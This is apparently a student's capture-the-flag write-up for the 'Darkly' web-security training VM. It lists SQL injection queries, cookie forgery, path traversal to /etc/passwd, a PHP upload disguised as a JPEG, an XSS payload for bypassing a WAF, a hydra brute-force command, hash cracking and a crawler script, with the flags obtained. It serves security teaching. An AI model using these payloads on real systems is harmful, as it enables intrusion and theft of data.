

# ***report***

darkly  
my ip:192.168.56.103  
target ip:192.168.56.101

Can upload file

## LOGIN

Username:

Password:

**LOGIN**

[I forgot my password](#)

probably exploitable with injection

page ?page=b7e44c7a40c5f80139f0a50f3650fb2bd8d00b0d24667c4c2ca32c88e13b758f

5 union all select 1,2,3 from admin

```
<!--Let's use this browser : "ft_bornToSec". It will help you a lot.-->
```

5 union all select 1,table\_name from information\_schema.tables

5 union all select FLAG,column\_name from information\_schema.columns

5 union all select 1,2 from users

1 AND ExtractValue('',Concat('=',(5 union all select 1,table\_name from information\_schema.tables)))

ID: 5

Title: Hack me ?

Url : borntosec.ddns.net/images.png

**IMAGE NUMBER:**



SUBMIT

```
        margin: 0; }  
        overflow-y: scroll; }  
        font: 62.5% Arial, Helvet
```

```
ul { list-style: none inside; }  
p, li, dl { font-size: 1.2em; line-height: 1.2; }  
a { outline: none; }  
img, a img { border: none; }  
/* END RESET & BASIC PAGE
```

```
/* TOOLBOX */
```

```
.floatleft { float: left; width: 48%; margin-right: 4%; }
```

```
.floatright { float: right; width: 48%; margin-left: 4%; }
```

```
.clear { clear: both; }
```

# Cookie

68934a3e9455fa72420237eb05902327

decyrpt to : false

The screenshot shows a web application interface. At the top, there is a green button labeled "Start Now". To its right, a "Three simple steps" box lists: 1 Click "Start Now" button, 2 Activate your account, 3 Access your content. Below this, there are two input fields. The left field contains the hex string "68934a3e9455fa72420237eb05902327". The right field contains the text "68934a3e9455fa72420237eb05902327 : false". Below the input fields are two buttons: "Encrypt" and "Decrypt".

so we need to create a cookie with true value :

The screenshot shows the same web application interface as before. The left input field now contains the hex string "b326b5062b2f0e69046810717534cb09". The right input field now contains the text "b326b5062b2f0e69046810717534cb09 : true". The "Encrypt" and "Decrypt" buttons are still present. At the bottom, there is a green button labeled "Start Now" and a "Three simple steps" box with the same instructions as before.

Good job! Flag : df2eb4ba34ed059a1e3e89ff4dfc13445f104a1a52295214def1c4fb1693a5c3

**LFI**

<http://192.168.56.101/?page=../../../../../../../../etc/passwd>

The flag is : b12c4b2cb8094750ae121a676269aa9e2872d07c06e429d25a63196ec1c8c1d0

# Int overflow

Grade	Average	Subject	Nb of vote( <i>indicative</i> )
1	4206.34	wil	4268

POST /index.php?page=survey HTTP/1.1

Host: 192.168.56.101

Content-Length: 25

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: <http://192.168.56.101>

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.7

Referer: <http://192.168.56.101/index.php?page=survey>

Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q=0.9

Cookie: I\_am\_admin=68934a3e9455fa72420237eb05902327

Connection: close

sujet=2&valeur=2147483647

The flag is 03a944b434d5baff05f46c4bede5792551a2595574bcafc9a6e25f67c382ccaa

## ***Recover password***

changed mail sent in the form mail=admn%40borntosec.comx

The flag is : 1d4855f7337c0c14b6f44946872c4eb33853f40b2d54393fbe94f49f1e19bbb0

## Add image

```
POST /?page=upload HTTP/1.1
Host: 192.168.56.101
Content-Length: 8014
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.56.101
Content-Type: multipart/form-data; boundary=---WebKitFormBoundaryN0Z762u9HJSnDsIa
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,
*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.56.101/?page=upload
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: I_am_admin=68934a3e9455fa72420237eb05902327
Connection: close
```

```
-----WebKitFormBoundaryN0Z762u9HJSnDsIa
Content-Disposition: form-data; name="MAX_FILE_SIZE"
```

100000

```
-----WebKitFormBoundaryN0Z762u9HJSnDsIa
Content-Disposition: form-data; name="uploaded"; filename="pass_hidden.php"
Content-Type: image/jpeg
```

PNG

[illegible]

Add a file with jpeg extension but catch the request and change the file extension to php

The flag is : 46910d9ce35b385885a9f7e2b336249d622f29b267a1771fbacf52133beddba8



# Search image

5 order by 1  
5 order by 2  
5 order by 3

5 union all select 1,table\_name from information\_schema.tables

5 union all select 1,column\_name from information\_schema.columns

5 union all select 1,column\_name from information\_schema.columns where  
table\_name=0x6c69737445f696d61676573

5 union all select 1,concat(id,0x3a,url,0x3a,title,0x3a,comment) from list\_images

ID: 5 union all select 1,concat(id,0x3a,url,0x3a,title,0x3a,comment) from list\_images  
Title: 5:borntosec.ddns.net/images.png:Hack me ?:If you read this just use this md5 decode lowercase then sha256 to win this flag ! : 1928e8083cf461a51303633093573c46  
Url : 1

Enter up to 20 non-salted hashes, one per line:

1928e8083cf461a51303633093573c46

Je ne suis pas un robot

reCAPTCHA  
Confidentialité - Conditions

Crack Hashes

**Supports:** LM, NTLM, md2, md4, md5, md5(md5\_hex), md5-half, sha1, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (sha1 sha1\_bin)), QubesV3.1BackupDefaults

Hash	Type	Result
1928e8083cf461a51303633093573c46	md5	albatroz

**Color Codes:** Green Exact match. Yellow Partial match. Red Not found.

\*

sha256 albatroz:f2a29020ef3132e01dd61df97fd33ec8d7fcd1388cc9601e7db691d17d4d6188

## ***Feedback***

`<script>alert(123)</script>`

The flag is :

0fbb54bbf7d099713ca4be297e1bc7da0173d8b3c21c1811b916a3a86  
652724e

## Sign in

```
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.56.101 http-get-form "/  
index.php?page=signin&username=^USER^&password=^PASS^&Login=Login:H=Cookie:I_am_a-  
dmin=68934a3e9455fa72420237eb05902327:F=images/WrongAnswer.gif"
```

```
SS^&Login=Login:H=Cookie:I_am_admin=68934a3e9455fa72420237eb05902327:F=images/Wr  
[80][http-get-form] host: 192.168.56.101  login: admin  password: shadow
```

flag is b3a6e43ddf8b4bbb4125e5e7d23040433827759d4de1c04ea63907479a80a6b2

# Admin

<http://borntosec.ddns.net/whatever/>

found directory listing with a file [htpasswd](#) containing the flag

root:437394baff5aa33daa618be47b75cb49

using john/haschat/crackstation we get the password:

hash	type	result
437394baff5aa33daa618be47b75cb49	md5	qwerty123@

The flag is :

d19b4823e0d5600ceed56d5e896ef328d7a2b9e7ac7e80f4fdb9b10  
bcb3e7ff

# Seach member

5 order by 1  
5 order by 2  
5 order by 3

5 union all select 1,table\_name from information\_schema.tables

5 union all select 1,column\_name from information\_schema.columns

5 union all select 1,column\_name from information\_schema.columns where  
table\_name=0x7573657273

5 union all select 1,concat(user\_id,0x3a,first\_name,0x3a,last\_name,0x3a,town,  
0x3a, country,0x3a,planet,0x3a,Commentaire,0x3a, countersign) from users

Surname : 5:Flag:GetThe:42:42:42:Decrypt this password -> then lower all the char. Sh256 on it and it's good !:5ff9d0165b4f92b14994e5c685cdce28

## Free Password Hash Cracker

Enter up to 20 non-salted hashes, one per line:

5ff9d0165b4f92b14994e5c685cdce28



Je ne suis pas un robot



reCAPTCHA

Confidentialité - Conditions

Crack Hashes

**Supports:** LM, NTLM, md2, md4, md5, md5(md5\_hex), md5-half, sha1, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (sha1 sha1\_bin), QubesV3.1BackupDefaults

Hash

Type

Result

5ff9d0165b4f92b14994e5c685cdce28

md5

FortyTwo

Color Codes: **Green** Exact match **Yellow** Partial match **Red** Not found

So now we need to sh256 “fortytwo” :

10a16d834f9b1e4068b25c4c46fe0284e99e44dceaf08098fc83925ba6310ff5

# hidden

<http://borntosec.ddns.net/.hidden/>

```
Enter branch http://borntosec.ddns.net/.hidden/qcwtlnvtarstnkxqvznj3msbgnw/:
Enter branch http://borntosec.ddns.net/.hidden/rlnoyduccpqxkvcfiqpdkfpx/:
Enter branch http://borntosec.ddns.net/.hidden/sdnfntbyirzllbpctnnoruyjjc/:
Enter branch http://borntosec.ddns.net/.hidden/trwjgrgmfnzarxiwvwalvanm/:
Enter branch http://borntosec.ddns.net/.hidden/urhkbrmupxbgdnntopklxskvom/:
Enter branch http://borntosec.ddns.net/.hidden/viphietzoechsxwqacvpsodhaq/:
Enter branch http://borntosec.ddns.net/.hidden/whgccjokayshttvxyxsvyxcfm/:

New readme content⇒ -Hey, here is your flag : d5eec3ec36cf80dce44a896f961c1831a05526ec215693c8f2c39543497d4466-
```

```
import os
import subprocess

false_readme = ["Non ce n'est toujours pas bon ...", "Demande à ton voisin de droite", "Toujours pas tu vas craquer non ?", "Tu veux de l'aide ? Moi aussi !", "Demande à ton voisin de gauche", "Demande à ton voisin du dessus", "Demande à ton voisin du dessous" ]
# Fonction pour exécuter une commande curl et obtenir la liste des fichiers/dossiers
def get_directory_listing(url):
    result = subprocess.run(['curl', '-s', url], stdout=subprocess.PIPE)
    output = result.stdout.decode('utf-8')
    return output.splitlines()

# Fonction pour vérifier si un élément est un dossier ou un fichier (selon la présence de '/')
def is_directory(line):
    return line.endswith('/')

# Fonction pour télécharger un README à partir d'une URL
def download_readme(url):
    result = subprocess.run(['curl', '-s', url], stdout=subprocess.PIPE)
    return result.stdout.decode('utf-8').strip()

# Fonction principale pour explorer récursivement les dossiers et récupérer les README
def explore_directories(base_url, depth):
    readme_contents = []

    # Récupérer la liste des fichiers/dossiers dans le dossier courant
    listing = get_directory_listing(base_url)

    for line in listing:
        # Extraire le nom du fichier ou dossier
        #name = line.split('<a')[0]
        name = line
        if "href" in line:
            name = line.split('href="')[1].split('"')[0]
            if "href" in line and "README" not in line and "favicon" not in line and "skel.css" not in line and "style.css" not in line and "../" not in line:
                # Si c'est un dossier, continuer la récursion
```

```

new_url = base_url + name
if(depth == 0):
    print(f"Enter branch {new_url}:\n")
    readme_contents.extend(explore_directories(new_url, 1))
elif "README" in line:
    readme_url = base_url + name
    readme_content = download_readme(readme_url)
    readme_contents.append(readme_content)
    i = 0
    if(readme_content not in false_readme):
        print(f"New readme content=> -{readme_content}-")
    #else:
        #print(f"UNKNOWN FILE {name}:\n")

```

```

return readme_contents

```

```

base_url = "http://borntosec.ddns.net/.hidden/"

```

```

all_readmes = explore_directories(base_url, 0)

```

```

for index, readme in enumerate(all_readmes):
    print(f"README {index + 1}:\n{readme}\n")

```

# ***redirect***

<http://192.168.56.101/index.php?page=redirect&site=facebook>

We can see that redirection is open. This mean that someone can craft a malicious link, and user who click on it will be redirected to the website chosen by the attacker. It can be used for phishing using OUR url as a base.

b9e775a0291fed784a2d9680fcfad7edd6b8cdf87648da647aaf4bba28  
8bcab3



## ***nsa image***

<http://192.168.56.101/?page=media&src=nsa>

This request will pass through the WAF and an XSS attack will be conducted in certain browsers:

```
/?param=<data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=
```

```
<!--
Voilà un peu de lecture : Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown
printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It
was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem
Ipsum.
-->
<!--Fun right ? source: loem. Good bye !!!!!-->
<!--You must come from : "https://www.nsa.gov/"-->
<!--
Where does it come from? Contrary to popular belief, Lorem Ipsum is not simply random text. It has roots in a piece of classical Latin literature from 45 BC, making it over 2000 years old. Richard
McClintock, a Latin professor at Hampden-Sydney College in Virginia, looked up one of the more obscure Latin words, consectetur, from a Lorem Ipsum passage, and going through the cites of the word in
classical literature, discovered the undoubtable source. Lorem Ipsum comes from sections 1.10.32 and 1.10.33 of "de Finibus Bonorum et Malorum" (The Extremes of Good and Evil) by Cicero, written in 45
BC. This book is a treatise on the theory of ethics, very popular during the Renaissance. The first line of Lorem Ipsum, "Lorem ipsum dolor sit amet..", comes from a line in section 1.10.32. The
standard chunk of Lorem Ipsum used since the 1500s is reproduced below for those interested. Sections 1.10.32 and 1.10.33 from "de Finibus Bonorum et Malorum" by Cicero are also reproduced in their
exact original form, accompanied by English versions from the 1914 translation by H. Rackham.
-->
<!--Let's use this browser : "ft_bornToSec". It will help you a lot.-->
-->
```

request

PrettyRawHex

12

GET /?page=b7e44c7a40c5f80139f0a50f3650fb2bd8d00b0d24667c4c2ca32c88e13b758f HTTP/1.1

Host: 192.168.56.101

Upgrade-Insecure-Requests: 1

User-Agent: ft\_bornToSec

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.7

Referer: https://www.nsa.gov/

Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q=0.9

Cookie: I\_am\_admin=68934a3e9455fa72420237eb05902327

Connection: close

# scripts

```
import os
import subprocess

false_readme = ["Non ce n'est toujours pas bon ...", "Demande à ton voisin de droite", "Toujours pas  
tu vas craquer non ?", "Tu veux de l'aide ? Moi aussi !" , "Demande à ton voisin de gauche", "Demand-  
e à ton voisin du dessus", "Demande à ton voisin du dessous" ]

# Fonction pour exécuter une commande curl et obtenir la liste des fichiers/dossiers
def get_directory_listing(url):
    result = subprocess.run(['curl', '-s', url], stdout=subprocess.PIPE)
    output = result.stdout.decode('utf-8')
    return output.splitlines()

# Fonction pour vérifier si un élément est un dossier ou un fichier (selon la présence de '/')
def is_directory(line):
    return line.endswith('/')

# Fonction pour télécharger un README à partir d'une URL
def download_readme(url):
    result = subprocess.run(['curl', '-s', url], stdout=subprocess.PIPE)
    return result.stdout.decode('utf-8').strip()

# Fonction principale pour explorer récursivement les dossiers et récupérer les README
def explore_directories(base_url, depth):
    readme_contents = []

    # Récupérer la liste des fichiers/dossiers dans le dossier courant
    listing = get_directory_listing(base_url)

    for line in listing:
        # Extraire le nom du fichier ou dossier
        #name = line.split('<a')[0]
        name = line
        if "href" in line:
            name = line.split('href="')[1].split('"')[0]
        if "href" in line and "README" not in line and "favicon" not in line and "skel.css" not in line and "s-  
tyle.css" not in line and "../" not in line:
            # Si c'est un dossier, continuer la récursion
            new_url = base_url + name
            if(depth == 0):
                print(f"Enter branch {new_url}:\n")
                readme_contents.extend(explore_directories(new_url, 1))
            elif "README" in line:
                readme_url = base_url + name
                readme_content = download_readme(readme_url)
                readme_contents.append(readme_content)
                i = 0
                if(readme_content not in false_readme):
                    print(f"New readme content=> -{readme_content}-")
            #else:
            #print(f"UNKNOWN FILE {name}:\n")

    return readme_contents
```

```
base_url = "http://borntosec.ddns.net/.hidden/"

all_readmes = explore_directories(base_url, 0)

for index, readme in enumerate(all_readmes):
    print(f"README {index + 1}:\n{readme}\n")
```

# ***credentials***

Darkly

My ip:192.168.56.103

Target ip:192.168.56.101

Mail:

webmaster@borntosec.com

Subdomain:

borntosec.ddns.net

Name:

wil

nginx/1.4.6